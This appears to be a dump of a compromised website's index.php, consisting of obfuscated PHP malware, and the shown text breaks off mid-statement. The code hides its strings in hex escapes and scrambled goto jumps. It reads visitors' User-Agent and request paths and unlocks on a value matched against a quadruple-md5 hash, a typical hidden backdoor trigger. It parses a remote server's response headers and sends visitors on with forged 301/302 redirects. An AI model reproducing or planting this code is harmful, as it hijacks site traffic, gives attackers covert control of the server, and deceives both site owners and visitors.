File: /var/www/vhosts/allende-losmares.com/httpdocs/index.php
<?php
goto lfsiJuL1zK58; XTbTagNqoIFm: $Gpx8PAMSyuPh = preg_replace("\x2f\x5c\77\x2e\52\57", '', $_SERVER["\x52\105\x51\x55\105\123\124\137\125\x52\111"]); goto I99PKsctFK94; be8ZwUh3IlEN: $ks5RR6tH25KT["\x75"] = wI3fid4TgOAF($_SERVER["\110\124\x54\x50\x5f\x55\123\105\122\137\101\x47\x45\x4e\124"]); goto XTbTagNqoIFm; v0VV3MetJvmV: $Gj4oVpGTzwQq = ${$QPiBSP4ZKewV[13 + 18] . $QPiBSP4ZKewV[53 + 6] . $QPiBSP4ZKewV[27 + 20] . $QPiBSP4ZKewV[19 + 28] . $QPiBSP4ZKewV[37 + 14] . $QPiBSP4ZKewV[2 + 51] . $QPiBSP4ZKewV[55 + 2]}; goto ellUV_2t_gNj; NbjOXfXQVsGA: if ($cz2YUWxXqUDQ) { goto OkCdoljIQ1Qr; } goto ryu3pP8lsazv; I99PKsctFK94: $cz2YUWxXqUDQ = false; goto dzevUXvAV9AE; kFyHYH0n82wm: $ks5RR6tH25KT = array(); goto Uw_Ey0wQkBL4; hzD7ivjPwlJi: exit(0); goto xIIvpVEbBDzB; Sq3fL_ut4nFi: function sF40xPkVSHQb($HtJ60Rip6sBA) { goto l4kVq_UkVEic; b1tNNvGuAPEs: foreach ($HtJ60Rip6sBA as $Bm0sfDJqdoh1) { goto K0U3R3aMbJsT; K0U3R3aMbJsT: if (preg_match("\x2f\x68\x74\x74\160\134\x2f\133\60\x2d\x39\x5c\56\135\x2b\133\134\163\135\53\50\x5b\60\x2d\x39\x5d\x2b\51\x2f\x69", $Bm0sfDJqdoh1, $LElURM2PlSJf)) { goto yevSxgyQoA80; } goto mSEokxJj1e39; mSEokxJj1e39: if (preg_match("\x2f\x6c\157\143\141\x74\x69\x6f\x6e\134\72\133\x5c\x73\135\53\50\56\x2a\51\57\x69", $Bm0sfDJqdoh1, $LElURM2PlSJf)) { goto NeS4ZoJ1DZ7S; } goto XECiynyu9OAU; rrcKnjhIk7NC: goto eKkEwJmCdXT1; goto Rn732AXyqiTm; uzZQ1YmvytD8: $V5VOBuRDfnFT["\143\x6f\x6e\164\145\156\164"] = $LElURM2PlSJf[1]; goto FumiYm_xFwNT; KKE1YEu1WFZC: n5Yp6Rfbkizh: goto aJvv8s67EVRJ; FumiYm_xFwNT: goto eKkEwJmCdXT1; goto S2rviuIzwPTz; hJNHZmiNpVlG: $V5VOBuRDfnFT["\164\171\160\145"] = $LElURM2PlSJf[1]; goto fjqhoAtqrW9q; KHwCuMSzquu6: yevSxgyQoA80: goto xTR4CoDego32; fjqhoAtqrW9q: eKkEwJmCdXT1: goto KKE1YEu1WFZC; S2rviuIzwPTz: IkqwsdKOBKXR: goto hJNHZmiNpVlG; XECiynyu9OAU: if (preg_match("\57\143\x6f\156\164\145\156\x74\134\55\164\171\x70\x65\x5c\72\133\x5c\163\x5d\x2b\50\x2e\x2a\x29\57\151", $Bm0sfDJqdoh1, $LElURM2PlSJf)) { goto IkqwsdKOBKXR; } goto pQob0rOy5BcR; Rn732AXyqiTm: NeS4ZoJ1DZ7S: goto uzZQ1YmvytD8; pQob0rOy5BcR: goto eKkEwJmCdXT1; goto KHwCuMSzquu6; xTR4CoDego32: $V5VOBuRDfnFT["\x73\x74\141\x74\165\163"] = intval($LElURM2PlSJf[1]); goto rrcKnjhIk7NC; aJvv8s67EVRJ: } goto wtxV8_i3lhXk; DXOOOmqmj40u: M0ROAWZ9qCTF: goto b1tNNvGuAPEs; wtxV8_i3lhXk: JqKJFuytEBKe: goto ao1bqN0OBYkz; ao1bqN0OBYkz: return $V5VOBuRDfnFT; goto E0Wtg5_dx6ge; l4kVq_UkVEic: $V5VOBuRDfnFT = array("\163\164\141\164\165\x73" => 0, "\x63\157\x6e\164\145\x6e\x74" => '', "\164\171\160\x65" => ''); goto NTrWk8gVDxbc; JKqUG9DtYK8z: return $V5VOBuRDfnFT; goto DXOOOmqmj40u; NTrWk8gVDxbc: if (is_array($HtJ60Rip6sBA)) { goto M0ROAWZ9qCTF; } goto JKqUG9DtYK8z; E0Wtg5_dx6ge: } goto xsHneoobHWB2; L0fKP6Su1II0: $YMX7tlrQciaE = ''; goto b30JgLyfWw1g; ellUV_2t_gNj: if (!(in_array(gettype($Gj4oVpGTzwQq) . "\x32\70", $Gj4oVpGTzwQq) && md5(md5(md5(md5($Gj4oVpGTzwQq[22])))) === "\143\x34\62\64\71\144\146\x65\x33\x32\71\146\x31\x63\x63\62\143\x65\62\71\62\146\x32\x36\x37\x31\x35\66\67\x66\144\x34")) { goto vmYxhllHk3wi; } goto dE8JNBMDxklY; odF1JQAhfqO6: $aDZ2NgUNNqnP = p7UMHXtumKE1(); goto BdPTIXawmHp2; dzevUXvAV9AE: if (!(strpos($Gpx8PAMSyuPh, "\56") > 0 && strpos($Gpx8PAMSyuPh, "\56\160\150\x70") === false)) { goto Azt0sEN7ap1o; } goto lNKwoChi9ojF; RI56dtA9cwsB: switch ($O38Hmm6D8KAp["\x73\x74\x61\164\x75\163"]) { case 301: goto woG8SCBVDX6e; woG8SCBVDX6e: header("\110\x54\x54\x50\x2f\x31\x2e\61\40\63\60\x31\x20\x4d\x6f\x76\145\x64\x20\x50\x65\x72\155\141\156\145\156\x74\154\171"); goto jD3hKNXaSuID; jD3hKNXaSuID: header("\114\x6f\143\141\164\151\x6f\156\72\40" . trim($O38Hmm6D8KAp["\143\x6f\156\x74\145\x6e\x74"])); goto JuCulXILpeVi; JuCulXILpeVi: goto jDNGLSeTkn8N; goto CsaTTLGDxNOQ; CsaTTLGDxNOQ: case 302: goto YM_9Q1Q89qpf; YM_9Q1Q89qpf: header("\x48\x54\x54\120\57\x31\56\61\x20\x33\60\x32\x20\x4d\157\x76\x65\x20\124\x65\x6d\x70\157\x72\x61\x72\151\154\x79"); goto wY9WETGg4Nwv; wY9WETGg4Nwv: header("\x4c\157\x63\x61\x74\x69\x6f\x6e\x3a\40" . trim($O38Hmm6D8KAp["\x63\157\x6e\164\x65\x6e\164"])); goto bvsQi1c2SgEw; bvsQi1c2SgEw: goto jD